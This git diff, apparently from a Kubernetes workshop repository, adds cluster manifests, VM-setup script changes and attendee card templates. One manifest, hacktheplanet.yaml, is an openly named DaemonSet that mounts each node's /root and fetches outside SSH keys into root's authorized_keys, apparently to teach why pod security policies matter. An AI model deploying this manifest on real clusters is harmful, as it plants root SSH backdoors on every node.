diff --git a/k8s/elasticsearch-cluster.yaml b/k8s/elasticsearch-cluster.yaml new file mode 100644 index 00000000..23d8108d --- /dev/null +++ b/k8s/elasticsearch-cluster.yaml @@ -0,0 +1,21 @@ +apiVersion: enterprises.upmc.com/v1 +kind: ElasticsearchCluster +metadata: + name: es +spec: + kibana: + image: docker.elastic.co/kibana/kibana-oss:6.1.3 + image-pull-policy: Always + cerebro: + image: upmcenterprises/cerebro:0.7.2 + image-pull-policy: Always + elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0 + image-pull-policy: Always + client-node-replicas: 2 + master-node-replicas: 3 + data-node-replicas: 3 + network-host: 0.0.0.0 + use-ssl: false + data-volume-size: 10Gi + java-options: "-Xms512m -Xmx512m" + diff --git a/k8s/elasticsearch-operator.yaml b/k8s/elasticsearch-operator.yaml new file mode 100644 index 00000000..0049541e --- /dev/null +++ b/k8s/elasticsearch-operator.yaml @@ -0,0 +1,94 @@ +# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator +--- +apiVersion: v1 +kind: Namespace +metadata: + name: elasticsearch-operator +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: elasticsearch-operator + namespace: elasticsearch-operator +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRole +metadata: + name: elasticsearch-operator +rules: +- apiGroups: ["extensions"] + resources: ["deployments", "replicasets", "daemonsets"] + verbs: ["create", "get", "update", "delete", "list"] +- apiGroups: ["apiextensions.k8s.io"] + resources: ["customresourcedefinitions"] + verbs: ["create", "get", "update", "delete", "list"] +- apiGroups: ["storage.k8s.io"] + resources: ["storageclasses"] + verbs: ["get", "list", "create", "delete", "deletecollection"] +- apiGroups: [""] + resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] + verbs: ["create", "get", "update", "delete", "list"] +- apiGroups: ["batch"] + resources: ["cronjobs", "jobs"] + verbs: ["create", "get", "deletecollection", "delete"] +- apiGroups: [""] + resources: ["pods"] + verbs: ["list", "get", "watch"] +- apiGroups: ["apps"] + resources: ["statefulsets", "deployments"] + verbs: ["*"] +- apiGroups: ["enterprises.upmc.com"] + resources: ["elasticsearchclusters"] + verbs: ["*"] +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRoleBinding +metadata: + name: elasticsearch-operator + namespace: elasticsearch-operator +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: elasticsearch-operator +subjects: +- kind: ServiceAccount + name: elasticsearch-operator + namespace: elasticsearch-operator +--- +apiVersion: extensions/v1beta1 +kind: Deployment +metadata: + name: elasticsearch-operator + namespace: elasticsearch-operator +spec: + replicas: 1 + template: + metadata: + labels: + name: elasticsearch-operator + spec: + containers: + - name: operator + image: upmcenterprises/elasticsearch-operator:0.2.0 + imagePullPolicy: Always + env: + - name: NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + ports: + - containerPort: 8000 + name: http + livenessProbe: + httpGet: + path: /live + port: 8000 + initialDelaySeconds: 10 + timeoutSeconds: 10 + readinessProbe: + httpGet: + path: /ready + port: 8000 + initialDelaySeconds: 10 + timeoutSeconds: 5 + serviceAccount: elasticsearch-operator diff --git a/k8s/filebeat.yaml b/k8s/filebeat.yaml new file mode 100644 index 00000000..690e9613 --- /dev/null +++ b/k8s/filebeat.yaml @@ -0,0 +1,167 @@ +--- +apiVersion: v1 +kind: ConfigMap +metadata: + name: filebeat-config + namespace: kube-system + labels: + k8s-app: filebeat +data: + filebeat.yml: |- + filebeat.config: + inputs: + # Mounted `filebeat-inputs` configmap: + path: ${path.config}/inputs.d/*.yml + # Reload inputs configs as they change: + reload.enabled: false + modules: + path: ${path.config}/modules.d/*.yml + # Reload module configs as they change: + reload.enabled: false + + # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this: + #filebeat.autodiscover: + # providers: + # - type: kubernetes + # hints.enabled: true + + processors: + - add_cloud_metadata: + + cloud.id: ${ELASTIC_CLOUD_ID} + cloud.auth: ${ELASTIC_CLOUD_AUTH} + + output.elasticsearch: + hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}'] + username: ${ELASTICSEARCH_USERNAME} + password: ${ELASTICSEARCH_PASSWORD} +--- +apiVersion: v1 +kind: ConfigMap +metadata: + name: filebeat-inputs + namespace: kube-system + labels: + k8s-app: filebeat +data: + kubernetes.yml: |- + - type: docker + containers.ids: + - "*" + processors: + - add_kubernetes_metadata: + in_cluster: true +--- +apiVersion: extensions/v1beta1 +kind: DaemonSet +metadata: + name: filebeat + namespace: kube-system + labels: + k8s-app: filebeat +spec: + template: + metadata: + labels: + k8s-app: filebeat + spec: + serviceAccountName: filebeat + terminationGracePeriodSeconds: 30 + containers: + - name: filebeat + image: docker.elastic.co/beats/filebeat-oss:7.0.1 + args: [ + "-c", "/etc/filebeat.yml", + "-e", + ] + env: + - name: ELASTICSEARCH_HOST + value: elasticsearch-es.default.svc.cluster.local + - name: ELASTICSEARCH_PORT + value: "9200" + - name: ELASTICSEARCH_USERNAME + value: elastic + - name: ELASTICSEARCH_PASSWORD + value: changeme + - name: ELASTIC_CLOUD_ID + value: + - name: ELASTIC_CLOUD_AUTH + value: + securityContext: + runAsUser: 0 + # If using Red Hat OpenShift uncomment this: + #privileged: true + resources: + limits: + memory: 200Mi + requests: + cpu: 100m + memory: 100Mi + volumeMounts: + - name: config + mountPath: /etc/filebeat.yml + readOnly: true + subPath: filebeat.yml + - name: inputs + mountPath: /usr/share/filebeat/inputs.d + readOnly: true + - name: data + mountPath: /usr/share/filebeat/data + - name: varlibdockercontainers + mountPath: /var/lib/docker/containers + readOnly: true + volumes: + - name: config + configMap: + defaultMode: 0600 + name: filebeat-config + - name: varlibdockercontainers + hostPath: + path: /var/lib/docker/containers + - name: inputs + configMap: + defaultMode: 0600 + name: filebeat-inputs + # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart + - name: data + hostPath: + path: /var/lib/filebeat-data + type: DirectoryOrCreate +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRoleBinding +metadata: + name: filebeat +subjects: +- kind: ServiceAccount + name: filebeat + namespace: kube-system +roleRef: + kind: ClusterRole + name: filebeat + apiGroup: rbac.authorization.k8s.io +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRole +metadata: + name: filebeat + labels: + k8s-app: filebeat +rules: +- apiGroups: [""] # "" indicates the core API group + resources: + - namespaces + - pods + verbs: + - get + - watch + - list +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: filebeat + namespace: kube-system + labels: + k8s-app: filebeat +--- diff --git a/k8s/hacktheplanet.yaml b/k8s/hacktheplanet.yaml new file mode 100644 index 00000000..92793789 --- /dev/null +++ b/k8s/hacktheplanet.yaml @@ -0,0 +1,34 @@ +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: hacktheplanet +spec: + selector: + matchLabels: + app: hacktheplanet + template: + metadata: + labels: + app: hacktheplanet + spec: + volumes: + - name: root + hostPath: + path: /root + tolerations: + - effect: NoSchedule + operator: Exists + initContainers: + - name: hacktheplanet + image: alpine + volumeMounts: + - name: root + mountPath: /root + command: + - sh + - -c + - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys" + containers: + - name: web + image: nginx + diff --git a/k8s/local-path-storage.yaml b/k8s/local-path-storage.yaml new file mode 100644 index 00000000..7374a02a --- /dev/null +++ b/k8s/local-path-storage.yaml @@ -0,0 +1,110 @@ +# This is a local copy of: +# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml +--- +apiVersion: v1 +kind: Namespace +metadata: + name: local-path-storage +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: local-path-provisioner-service-account + namespace: local-path-storage +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRole +metadata: + name: local-path-provisioner-role + namespace: local-path-storage +rules: +- apiGroups: [""] + resources: ["nodes", "persistentvolumeclaims"] + verbs: ["get", "list", "watch"] +- apiGroups: [""] + resources: ["endpoints", "persistentvolumes", "pods"] + verbs: ["*"] +- apiGroups: [""] + resources: ["events"] + verbs: ["create", "patch"] +- apiGroups: ["storage.k8s.io"] + resources: ["storageclasses"] + verbs: ["get", "list", "watch"] +--- +apiVersion: rbac.authorization.k8s.io/v1beta1 +kind: ClusterRoleBinding +metadata: + name: local-path-provisioner-bind + namespace: local-path-storage +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: local-path-provisioner-role +subjects: +- kind: ServiceAccount + name: local-path-provisioner-service-account + namespace: local-path-storage +--- +apiVersion: apps/v1beta2 +kind: Deployment +metadata: + name: local-path-provisioner + namespace: local-path-storage +spec: + replicas: 1 + selector: + matchLabels: + app: local-path-provisioner + template: + metadata: + labels: + app: local-path-provisioner + spec: + serviceAccountName: local-path-provisioner-service-account + containers: + - name: local-path-provisioner + image: rancher/local-path-provisioner:v0.0.8 + imagePullPolicy: Always + command: + - local-path-provisioner + - --debug + - start + - --config + - /etc/config/config.json + volumeMounts: + - name: config-volume + mountPath: /etc/config/ + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + volumes: + - name: config-volume + configMap: + name: local-path-config +--- +apiVersion: storage.k8s.io/v1 +kind: StorageClass +metadata: + name: local-path +provisioner: rancher.io/local-path +volumeBindingMode: WaitForFirstConsumer +reclaimPolicy: Delete +--- +kind: ConfigMap +apiVersion: v1 +metadata: + name: local-path-config + namespace: local-path-storage +data: + config.json: |- + { + "nodePathMap":[ + { + "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES", + "paths":["/opt/local-path-provisioner"] + } + ] + } + diff --git a/k8s/persistent-consul.yaml b/k8s/persistent-consul.yaml new file mode 100644 index 00000000..ff9d5955 --- /dev/null +++ b/k8s/persistent-consul.yaml @@ -0,0 +1,95 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: consul +rules: + - apiGroups: [ "" ] + resources: [ pods ] + verbs: [ get, list ] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: consul +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: consul +subjects: + - kind: ServiceAccount + name: consul + namespace: orange +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: consul +--- +apiVersion: v1 +kind: Service +metadata: + name: consul +spec: + ports: + - port: 8500 + name: http + selector: + app: consul +--- +apiVersion: apps/v1 +kind: StatefulSet +metadata: + name: consul +spec: + serviceName: consul + replicas: 3 + selector: + matchLabels: + app: consul + volumeClaimTemplates: + - metadata: + name: data + spec: + accessModes: + - ReadWriteOnce + resources: + requests: + storage: 1Gi + template: + metadata: + labels: + app: consul + spec: + serviceAccountName: consul + affinity: + podAntiAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + - labelSelector: + matchExpressions: + - key: app + operator: In + values: + - consul + topologyKey: kubernetes.io/hostname + terminationGracePeriodSeconds: 10 + containers: + - name: consul + image: "consul:1.4.4" + volumeMounts: + - name: data + mountPath: /consul/data + args: + - "agent" + - "-bootstrap-expect=3" + - "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\"" + - "-client=0.0.0.0" + - "-data-dir=/consul/data" + - "-server" + - "-ui" + lifecycle: + preStop: + exec: + command: + - /bin/sh + - -c + - consul leave diff --git a/k8s/psp-privileged.yaml b/k8s/psp-privileged.yaml new file mode 100644 index 00000000..3eea72e8 --- /dev/null +++ b/k8s/psp-privileged.yaml @@ -0,0 +1,39 @@ +--- +apiVersion: policy/v1beta1 +kind: PodSecurityPolicy +metadata: + name: privileged + annotations: + seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' +spec: + privileged: true + allowPrivilegeEscalation: true + allowedCapabilities: + - '*' + volumes: + - '*' + hostNetwork: true + hostPorts: + - min: 0 + max: 65535 + hostIPC: true + hostPID: true + runAsUser: + rule: 'RunAsAny' + seLinux: + rule: 'RunAsAny' + supplementalGroups: + rule: 'RunAsAny' + fsGroup: + rule: 'RunAsAny' +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: psp:privileged +rules: +- apiGroups: ['policy'] + resources: ['podsecuritypolicies'] + verbs: ['use'] + resourceNames: ['privileged'] + diff --git a/k8s/psp-restricted.yaml b/k8s/psp-restricted.yaml new file mode 100644 index 00000000..a73e7049 --- /dev/null +++ b/k8s/psp-restricted.yaml @@ -0,0 +1,38 @@ +--- +apiVersion: extensions/v1beta1 +kind: PodSecurityPolicy +metadata: + annotations: + apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default + apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default + seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default + seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default + name: restricted +spec: + allowPrivilegeEscalation: false + fsGroup: + rule: RunAsAny + runAsUser: + rule: RunAsAny + seLinux: + rule: RunAsAny + supplementalGroups: + rule: RunAsAny + volumes: + - configMap + - emptyDir + - projected + - secret + - downwardAPI + - persistentVolumeClaim +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: psp:restricted +rules: +- apiGroups: ['policy'] + resources: ['podsecuritypolicies'] + verbs: ['use'] + resourceNames: ['restricted'] + diff --git a/k8s/users:jean.doe.yaml b/k8s/users:jean.doe.yaml new file mode 100644 index 00000000..ef96d39e --- /dev/null +++ b/k8s/users:jean.doe.yaml @@ -0,0 +1,33 @@ +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: jean.doe + namespace: users +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: users:jean.doe +rules: +- apiGroups: [ certificates.k8s.io ] + resources: [ certificatesigningrequests ] + verbs: [ create ] +- apiGroups: [ certificates.k8s.io ] + resourceNames: [ users:jean.doe ] + resources: [ certificatesigningrequests ] + verbs: [ get, create, delete, watch ] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: users:jean.doe +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: users:jean.doe +subjects: +- kind: ServiceAccount + name: jean.doe + namespace: users + diff --git a/k8s/volumes-for-consul.yaml b/k8s/volumes-for-consul.yaml new file mode 100644 index 00000000..8d75e8ea --- /dev/null +++ b/k8s/volumes-for-consul.yaml @@ -0,0 +1,70 @@ +--- +apiVersion: v1 +kind: PersistentVolume +metadata: + name: consul-node2 + annotations: + node: node2 +spec: + capacity: + storage: 10Gi + accessModes: + - ReadWriteOnce + persistentVolumeReclaimPolicy: Delete + local: + path: /mnt/consul + nodeAffinity: + required: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/hostname + operator: In + values: + - node2 +--- +apiVersion: v1 +kind: PersistentVolume +metadata: + name: consul-node3 + annotations: + node: node3 +spec: + capacity: + storage: 10Gi + accessModes: + - ReadWriteOnce + persistentVolumeReclaimPolicy: Delete + local: + path: /mnt/consul + nodeAffinity: + required: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/hostname + operator: In + values: + - node3 +--- +apiVersion: v1 +kind: PersistentVolume +metadata: + name: consul-node4 + annotations: + node: node4 +spec: + capacity: + storage: 10Gi + accessModes: + - ReadWriteOnce + persistentVolumeReclaimPolicy: Delete + local: + path: /mnt/consul + nodeAffinity: + required: + nodeSelectorTerms: + - matchExpressions: + - key: kubernetes.io/hostname + operator: In + values: + - node4 + diff --git a/prepare-vms/lib/commands.sh b/prepare-vms/lib/commands.sh index 6daec799..f668ced0 100644 --- a/prepare-vms/lib/commands.sh +++ b/prepare-vms/lib/commands.sh @@ -248,6 +248,14 @@ EOF" sudo tar -C /usr/local/bin -zx ship fi" + # Install the AWS IAM authenticator + pssh " + if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then + ##VERSION## + sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator + sudo chmod +x /usr/local/bin/aws-iam-authenticator + fi" + sep "Done" } @@ -383,6 +391,15 @@ _cmd_retag() { aws_tag_instances $OLDTAG $NEWTAG } +_cmd ssh "Open an SSH session to the first node of a tag" +_cmd_ssh() { + TAG=$1 + need_tag + IP=$(head -1 tags/$TAG/ips.txt) + info "Logging into $IP" + ssh docker@$IP +} + _cmd start "Start a group of VMs" _cmd_start() { while [ ! -z "$*" ]; do @@ -481,12 +498,12 @@ _cmd_helmprom() { if i_am_first_node; then kubectl -n kube-system get serviceaccount helm || kubectl -n kube-system create serviceaccount helm - helm init --service-account helm + sudo -u docker -H helm init --service-account helm kubectl get clusterrolebinding helm-can-do-everything || kubectl create clusterrolebinding helm-can-do-everything \ --clusterrole=cluster-admin \ --serviceaccount=kube-system:helm - helm upgrade --install prometheus stable/prometheus \ + sudo -u docker -H helm upgrade --install prometheus stable/prometheus \ --namespace kube-system \ --set server.service.type=NodePort \ --set server.service.nodePort=30090 \ diff --git a/prepare-vms/lib/infra/aws.sh b/prepare-vms/lib/infra/aws.sh index cb5f8fd0..f7721003 100644 --- a/prepare-vms/lib/infra/aws.sh +++ b/prepare-vms/lib/infra/aws.sh @@ -31,6 +31,7 @@ infra_start() { die "I could not find which AMI to use in this region. Try another region?" fi AWS_KEY_NAME=$(make_key_name) + AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium} sep "Starting instances" info " Count: $COUNT" @@ -38,10 +39,11 @@ infra_start() { info " Token/tag: $TAG" info " AMI: $AMI" info " Key name: $AWS_KEY_NAME" + info " Instance type: $AWS_INSTANCE_TYPE" result=$(aws ec2 run-instances \ --key-name $AWS_KEY_NAME \ --count $COUNT \ - --instance-type ${AWS_INSTANCE_TYPE-t2.medium} \ + --instance-type $AWS_INSTANCE_TYPE \ --client-token $TAG \ --block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \ --image-id $AMI) @@ -97,7 +99,7 @@ infra_disableaddrchecks() { } wait_until_tag_is_running() { - max_retry=50 + max_retry=100 i=0 done_count=0 while [[ $done_count -lt $COUNT ]]; do diff --git a/prepare-vms/lib/ips-txt-to-html.py b/prepare-vms/lib/ips-txt-to-html.py index fd576afc..5bc1873c 100755 --- a/prepare-vms/lib/ips-txt-to-html.py +++ b/prepare-vms/lib/ips-txt-to-html.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 import os import sys import yaml diff --git a/prepare-vms/settings/admin-dmuc.yaml b/prepare-vms/settings/admin-dmuc.yaml index 70ac6ec6..a7d776a8 100644 --- a/prepare-vms/settings/admin-dmuc.yaml +++ b/prepare-vms/settings/admin-dmuc.yaml @@ -5,7 +5,7 @@ clustersize: 1 clusterprefix: dmuc # Jinja2 template to use to generate ready-to-cut cards -cards_template: admin.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: A4 diff --git a/prepare-vms/settings/admin-kubenet.yaml b/prepare-vms/settings/admin-kubenet.yaml index 8256fc65..52046831 100644 --- a/prepare-vms/settings/admin-kubenet.yaml +++ b/prepare-vms/settings/admin-kubenet.yaml @@ -5,7 +5,7 @@ clustersize: 3 clusterprefix: kubenet # Jinja2 template to use to generate ready-to-cut cards -cards_template: admin.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: A4 diff --git a/prepare-vms/settings/admin-kuberouter.yaml b/prepare-vms/settings/admin-kuberouter.yaml index 3f903065..f894c5f4 100644 --- a/prepare-vms/settings/admin-kuberouter.yaml +++ b/prepare-vms/settings/admin-kuberouter.yaml @@ -5,7 +5,7 @@ clustersize: 3 clusterprefix: kuberouter # Jinja2 template to use to generate ready-to-cut cards -cards_template: admin.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: A4 diff --git a/prepare-vms/settings/admin-test.yaml b/prepare-vms/settings/admin-test.yaml index ac9679be..57d1339b 100644 --- a/prepare-vms/settings/admin-test.yaml +++ b/prepare-vms/settings/admin-test.yaml @@ -5,7 +5,7 @@ clustersize: 3 clusterprefix: test # Jinja2 template to use to generate ready-to-cut cards -cards_template: admin.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: A4 diff --git a/prepare-vms/settings/enix.yaml b/prepare-vms/settings/enix.yaml deleted file mode 100644 index 075efb34..00000000 --- a/prepare-vms/settings/enix.yaml +++ /dev/null @@ -1,29 +0,0 @@ -# Number of VMs per cluster -clustersize: 1 - -# The hostname of each node will be clusterprefix + a number -clusterprefix: node - -# Jinja2 template to use to generate ready-to-cut cards -cards_template: enix.html - -# Use "Letter" in the US, and "A4" everywhere else -paper_size: A4 - -# Feel free to reduce this if your printer can handle it -paper_margin: 0.2in - -# Note: paper_size and paper_margin only apply to PDF generated with pdfkit. -# If you print (or generate a PDF) using ips.html, they will be ignored. -# (The equivalent parameters must be set from the browser's print dialog.) - -# This can be "test" or "stable" -engine_version: stable - -# These correspond to the version numbers visible on their respective GitHub release pages -compose_version: 1.21.1 -machine_version: 0.14.0 - -# Password used to connect with the "docker user" -docker_user_password: training - diff --git a/prepare-vms/settings/jerome.yaml b/prepare-vms/settings/jerome.yaml index 62e8a08f..78014b55 100644 --- a/prepare-vms/settings/jerome.yaml +++ b/prepare-vms/settings/jerome.yaml @@ -5,7 +5,7 @@ clustersize: 4 clusterprefix: node # Jinja2 template to use to generate ready-to-cut cards -cards_template: jerome.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: Letter diff --git a/prepare-vms/settings/kube101.yaml b/prepare-vms/settings/kube101.yaml index 8f742e54..4f89305c 100644 --- a/prepare-vms/settings/kube101.yaml +++ b/prepare-vms/settings/kube101.yaml @@ -7,7 +7,7 @@ clustersize: 3 clusterprefix: node # Jinja2 template to use to generate ready-to-cut cards -cards_template: kube101.html +cards_template: cards.html # Use "Letter" in the US, and "A4" everywhere else paper_size: Letter diff --git a/prepare-vms/setup-admin-clusters.sh b/prepare-vms/setup-admin-clusters.sh index b93f0da3..75717e52 100755 --- a/prepare-vms/setup-admin-clusters.sh +++ b/prepare-vms/setup-admin-clusters.sh @@ -1,15 +1,20 @@ #!/bin/sh set -e -INFRA=infra/aws-eu-west-3 +export AWS_INSTANCE_TYPE=t3a.small + +INFRA=infra/aws-us-west-2 STUDENTS=2 -TAG=admin-dmuc +PREFIX=$(date +%Y-%m-%d-%H-%M) + +SETTINGS=admin-dmuc +TAG=$PREFIX-$SETTINGS ./workshopctl start \ --tag $TAG \ --infra $INFRA \ - --settings settings/$TAG.yaml \ + --settings settings/$SETTINGS.yaml \ --count $STUDENTS ./workshopctl deploy $TAG @@ -17,37 +22,45 @@ TAG=admin-dmuc ./workshopctl kubebins $TAG ./workshopctl cards $TAG -TAG=admin-kubenet +SETTINGS=admin-kubenet +TAG=$PREFIX-$SETTINGS ./workshopctl start \ --tag $TAG \ --infra $INFRA \ - --settings settings/$TAG.yaml \ + --settings settings/$SETTINGS.yaml \ --count $((3*$STUDENTS)) +./workshopctl disableaddrchecks $TAG ./workshopctl deploy $TAG ./workshopctl kubebins $TAG -./workshopctl disableaddrchecks $TAG ./workshopctl cards $TAG -TAG=admin-kuberouter +SETTINGS=admin-kuberouter +TAG=$PREFIX-$SETTINGS ./workshopctl start \ --tag $TAG \ --infra $INFRA \ - --settings settings/$TAG.yaml \ + --settings settings/$SETTINGS.yaml \ --count $((3*$STUDENTS)) +./workshopctl disableaddrchecks $TAG ./workshopctl deploy $TAG ./workshopctl kubebins $TAG -./workshopctl disableaddrchecks $TAG ./workshopctl cards $TAG -TAG=admin-test +#INFRA=infra/aws-us-west-1 + +export AWS_INSTANCE_TYPE=t3a.medium + +SETTINGS=admin-test +TAG=$PREFIX-$SETTINGS ./workshopctl start \ --tag $TAG \ --infra $INFRA \ - --settings settings/$TAG.yaml \ + --settings settings/$SETTINGS.yaml \ --count $((3*$STUDENTS)) ./workshopctl deploy $TAG ./workshopctl kube $TAG 1.13.5 ./workshopctl cards $TAG + diff --git a/prepare-vms/templates/admin.html b/prepare-vms/templates/admin.html deleted file mode 100644 index 9684a55c..00000000 --- a/prepare-vms/templates/admin.html +++ /dev/null @@ -1,124 +0,0 @@ -{# Feel free to customize or override anything in there! #} -{%- set url = "http://FIXME.container.training" -%} -{%- set pagesize = 9 -%} -{%- if clustersize == 1 -%} - {%- set workshop_name = "Docker workshop" -%} - {%- set cluster_or_machine = "machine virtuelle" -%} - {%- set this_or_each = "cette" -%} - {%- set plural = "" -%} - {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%} -{%- else -%} - {%- set workshop_name = "Kubernetes workshop" -%} - {%- set cluster_or_machine = "cluster" -%} - {%- set this_or_each = "chaque" -%} - {%- set plural = "s" -%} - {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%} - {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%} - {%- set image_src = image_src_kube -%} -{%- endif -%} - - - - -{% for cluster in clusters %} - {% if loop.index0>0 and loop.index0%pagesize==0 %} - - {% endif %} -
- -

- Voici les informations permettant de se connecter à un - des environnements utilisés pour cette formation. - Vous pouvez vous connecter à {{ this_or_each }} machine - virtuelle avec n'importe quel client SSH. -

- -

- - - - - - - - -
cluster:
{{ clusterprefix }}
identifiant:
docker
mot de passe:
{{ docker_user_password }}
-

- -

- Adresse{{ plural }} IP : - - - {% for node in cluster %} - - {% endfor %} -
{{ clusterprefix }}{{ loop.index }}:{{ node }}
-

-

Le support de formation est à l'adresse suivante : -

{{ url }}
-

-
-{% endfor %} - - diff --git a/prepare-vms/templates/cards.html b/prepare-vms/templates/cards.html index dc977b65..1f58b8f6 100644 --- a/prepare-vms/templates/cards.html +++ b/prepare-vms/templates/cards.html @@ -1,29 +1,88 @@ {# Feel free to customize or override anything in there! #} -{%- set url = "http://container.training/" -%} -{%- set pagesize = 12 -%} -{%- if clustersize == 1 -%} - {%- set workshop_name = "Docker workshop" -%} - {%- set cluster_or_machine = "machine" -%} - {%- set this_or_each = "this" -%} - {%- set machine_is_or_machines_are = "machine is" -%} - {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%} -{%- else -%} - {%- set workshop_name = "orchestration workshop" -%} - {%- set cluster_or_machine = "cluster" -%} - {%- set this_or_each = "each" -%} - {%- set machine_is_or_machines_are = "machines are" -%} - {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%} - {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%} - {%- set image_src = image_src_swarm -%} + +{%- set url = "http://FIXME.container.training/" -%} +{%- set pagesize = 9 -%} +{%- set lang = "en" -%} +{%- set event = "training session" -%} +{%- set backside = False -%} +{%- set image = "kube" -%} +{%- set clusternumber = 100 -%} + +{%- set image_src = { + "docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png", + "swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png", + "kube": "https://avatars1.githubusercontent.com/u/13629408", + "enix": "https://enix.io/static/img/logos/logo-domain-cropped.png", + }[image] -%} +{%- if lang == "en" and clustersize == 1 -%} + {%- set intro -%} + Here is the connection information to your very own + machine for this {{ event }}. + You can connect to this VM with any SSH client. + {%- endset -%} + {%- set listhead -%} + Your machine is: + {%- endset -%} +{%- endif -%} +{%- if lang == "en" and clustersize != 1 -%} + {%- set intro -%} + Here is the connection information to your very own + cluster for this {{ event }}. + You can connect to each VM with any SSH client. + {%- endset -%} + {%- set listhead -%} + Your machines are: + {%- endset -%} +{%- endif -%} +{%- if lang == "fr" and clustersize == 1 -%} + {%- set intro -%} + Voici les informations permettant de se connecter à votre + machine pour cette formation. + Vous pouvez vous connecter à cette machine virtuelle + avec n'importe quel client SSH. + {%- endset -%} + {%- set listhead -%} + Adresse IP: + {%- endset -%} +{%- endif -%} +{%- if lang == "en" and clusterprefix != "node" -%} + {%- set intro -%} + Here is the connection information for the + {{ clusterprefix }} environment. + {%- endset -%} +{%- endif -%} +{%- if lang == "fr" and clustersize != 1 -%} + {%- set intro -%} + Voici les informations permettant de se connecter à votre + cluster pour cette formation. + Vous pouvez vous connecter à chaque machine virtuelle + avec n'importe quel client SSH. + {%- endset -%} + {%- set listhead -%} + Adresses IP: + {%- endset -%} +{%- endif -%} +{%- if lang == "en" -%} + {%- set slides_are_at -%} + You can find the slides at: + {%- endset -%} +{%- endif -%} +{%- if lang == "fr" -%} + {%- set slides_are_at -%} + Le support de formation est à l'adresse suivante : + {%- endset -%} {%- endif -%} {% for cluster in clusters %} - {% if loop.index0>0 and loop.index0%pagesize==0 %} - - {% endif %}
- -

- Here is the connection information to your very own - {{ cluster_or_machine }} for this {{ workshop_name }}. - You can connect to {{ this_or_each }} VM with any SSH client. -

+

{{ intro }}

+ {% if clusternumber != None %} + + + {% endif %} @@ -90,17 +175,44 @@ img {

- Your {{ machine_is_or_machines_are }}: + {{ listhead }}

cluster:
{{ clusternumber + loop.index }}
login:
docker
password:
{% for node in cluster %} - + + + + {% endfor %}
node{{ loop.index }}:{{ node }}
{{ clusterprefix }}{{ loop.index }}:{{ node }}

-

You can find the slides at: + +

+ {{ slides_are_at }}

{{ url }}

+ {% if loop.index%pagesize==0 or loop.last %} + + {% if backside %} + {% for x in range(pagesize) %} +
+
+

You got this at the workshop + "Getting Started With Kubernetes and Container Orchestration" + during QCON London (March 2019).

+

